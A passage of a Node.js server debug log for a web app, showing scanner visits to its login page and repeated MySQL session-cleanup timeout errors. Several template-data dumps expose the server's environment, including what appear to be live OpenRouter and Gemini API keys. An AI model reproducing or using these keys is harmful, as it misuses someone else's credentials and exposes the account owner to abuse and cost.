    cookie: {
      path: '/',
      _expires: 2026-02-18T14:05:32.933Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.48',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.48',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-17T19:56:17.298Z server-connect:router Serving templateView /
2026-02-17T19:56:17.299Z server-connect:app Executing action step identify
2026-02-17T19:56:17.299Z server-connect:app options: { provider: 'security' }
2026-02-17T19:56:17.300Z server-connect:auth No login cookie found
2026-02-17T19:56:17.300Z server-connect:output identity: false
2026-02-17T19:56:17.300Z server-connect:app Executing action step restrict
2026-02-17T19:56:17.300Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-17T19:56:17.300Z server-connect:output restrict: undefined
2026-02-17T19:56:17.994Z server-connect:router Serving templateView /login
2026-02-17T19:56:17.994Z server-connect:app Executing action step identify
2026-02-17T19:56:17.994Z server-connect:app options: { provider: 'security' }
2026-02-17T19:56:17.995Z server-connect:auth No login cookie found
2026-02-17T19:56:17.995Z server-connect:output identity: false
2026-02-17T19:56:17.995Z server-connect:router Render template layouts/authentication
2026-02-17T19:56:17.995Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.25',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-18T19:56:17.994Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.25',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.25',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-17 21:49:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-17 21:49:03' as DATETIME)"
}
2026-02-18T01:07:21.224Z server-connect:router Serving templateView /
2026-02-18T01:07:21.225Z server-connect:app Executing action step identify
2026-02-18T01:07:21.225Z server-connect:app options: { provider: 'security' }
2026-02-18T01:07:21.226Z server-connect:auth No login cookie found
2026-02-18T01:07:21.226Z server-connect:output identity: false
2026-02-18T01:07:21.226Z server-connect:app Executing action step restrict
2026-02-18T01:07:21.226Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-18T01:07:21.226Z server-connect:output restrict: undefined
2026-02-18T01:07:21.906Z server-connect:router Serving templateView /login
2026-02-18T01:07:21.907Z server-connect:app Executing action step identify
2026-02-18T01:07:21.907Z server-connect:app options: { provider: 'security' }
2026-02-18T01:07:21.907Z server-connect:auth No login cookie found
2026-02-18T01:07:21.907Z server-connect:output identity: false
2026-02-18T01:07:21.907Z server-connect:router Render template layouts/authentication
2026-02-18T01:07:21.907Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.55',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-19T01:07:21.906Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.55',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.55',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-18 16:05:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-18 16:05:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-18 17:06:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-18 17:06:05' as DATETIME)"
}
2026-02-18T18:00:11.046Z server-connect:router Serving templateView /
2026-02-18T18:00:11.048Z server-connect:app Executing action step identify
2026-02-18T18:00:11.048Z server-connect:app options: { provider: 'security' }
2026-02-18T18:00:11.048Z server-connect:auth No login cookie found
2026-02-18T18:00:11.048Z server-connect:output identity: false
2026-02-18T18:00:11.048Z server-connect:app Executing action step restrict
2026-02-18T18:00:11.048Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-18T18:00:11.048Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-18 18:24:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-18 18:24:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-18 23:04:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-18 23:04:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 01:58:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 01:58:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 03:43:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 03:43:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 11:48:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 11:48:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 12:32:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 12:32:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 14:06:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 14:06:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 14:55:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 14:55:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 15:04:11' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 15:04:11' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 23:24:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-19 23:24:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-19 23:38:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
